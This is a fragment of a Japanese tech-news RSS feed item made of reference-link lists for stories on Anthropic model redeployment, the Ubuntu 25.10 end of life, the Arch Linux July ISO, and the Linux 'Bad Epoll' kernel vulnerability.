&lt;li>&lt;a class="link" href="https://www.anthropic.com/news/fable-mythos-access" target="_blank" rel="noopener"
>Anthropic — Fable &amp;amp; Mythos access（輸出規制指令への声明）&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.anthropic.com/news/redeploying-fable-5" target="_blank" rel="noopener"
>Anthropic — Redeploying Claude Fable 5&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.marktechpost.com/2026/07/01/anthropic-redeploys-claude-fable-5-on-july-1-after-us-export-controls-lift-adds-new-cybersecurity-classifier/" target="_blank" rel="noopener"
>MarkTechPost — Anthropic Redeploys Claude Fable 5 After US Export Controls Lift&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://thehackernews.com/2026/07/anthropic-restores-claude-fable-5-after.html" target="_blank" rel="noopener"
>The Hacker News — Anthropic Restores Claude Fable 5&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.cnbc.com/2026/06/30/anthropic-says-trump-admin-has-lifted-export-controls-on-claude-fable-5-and-mythos-5.html" target="_blank" rel="noopener"
>CNBC — Anthropic says Trump admin has lifted export controls on Claude Fable 5 and Mythos 5&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="3-ubuntu-2510-eol">&lt;a href="#3-ubuntu-2510-eol" class="header-anchor">&lt;/a>3. Ubuntu 25.10 EOL
&lt;/h3>&lt;ul>
&lt;li>&lt;a class="link" href="https://wiki.ubuntu.com/Releases" target="_blank" rel="noopener"
>Ubuntu 公式リリーススケジュール一覧&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://lists.ubuntu.com/archives/ubuntu-announce/2026-June/000324.html" target="_blank" rel="noopener"
>Canonical 公式 EOL 告知メール&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://discourse.ubuntu.com/t/questing-quokka-release-notes/59220" target="_blank" rel="noopener"
>Ubuntu 25.10 公式リリースノート&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://9to5linux.com/ubuntu-25-10-questing-quokka-will-reach-end-of-life-on-july-9th-2026" target="_blank" rel="noopener"
>9to5Linux — Ubuntu 25.10 Questing Quokka Will Reach End of Life on July 9th, 2026&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="4-arch-linux-20260701-iso--archinstall-44">&lt;a href="#4-arch-linux-20260701-iso--archinstall-44" class="header-anchor">&lt;/a>4. Arch Linux 2026.07.01 ISO / ArchInstall 4.4
&lt;/h3>&lt;ul>
&lt;li>&lt;a class="link" href="https://archlinux.org/releng/releases/" target="_blank" rel="noopener"
>Arch Linux 公式リリース一覧&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/archlinux/archinstall/releases" target="_blank" rel="noopener"
>ArchInstall GitHub リリースノート&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://linuxiac.com/arch-linux-july-iso-is-out-with-linux-kernel-7-0-14-and-archinstall-4-4/" target="_blank" rel="noopener"
>Linuxiac — Arch Linux July ISO Is Out With Linux Kernel 7.0.14 and ArchInstall 4.4&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://linuxiac.com/archinstall-4-4-polishes-the-arch-linux-installation-experience/" target="_blank" rel="noopener"
>Linuxiac — ArchInstall 4.4 Polishes the Arch Linux Installation Experience&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="5-bad-epoll-cve-2026-46242">&lt;a href="#5-bad-epoll-cve-2026-46242" class="header-anchor">&lt;/a>5. Bad Epoll CVE-2026-46242
&lt;/h3>&lt;ul>
&lt;li>&lt;a class="link" href="https://github.com/J-jaeyoung/bad-epoll" target="_blank" rel="noopener"
>J-jaeyoung/bad-epoll — 発見者による公式 PoC・writeup&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://app.opencve.io/cve/CVE-2026-46242" target="_blank" rel="noopener"
>OpenCVE — CVE-2026-46242&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://thehackernews.com/2026/07/new-bad-epoll-linux-kernel-flaw-lets.html" target="_blank" rel="noopener"
>The Hacker News — New &amp;ldquo;Bad Epoll&amp;rdquo; Linux Kernel Flaw&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://cybersecuritynews.com/bad-epoll-0-day-vulnerability/" target="_blank" rel="noopener"
>Cybersecurity News — Bad Epoll 0-Day Vulnerability&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.techtimes.com/articles/319686/20260704/bad-epoll-kernel-race-bug-beats-ai-auditing-hits-99-root-exploit-rate.htm" target="_blank" rel="noopener"
>TechTimes — Bad Epoll Kernel Race Bug Beats AI Auditing, Hits 99% Root Exploit Rate&lt;/a>&lt;/li>
&lt;/ul></description></item></channel></rss>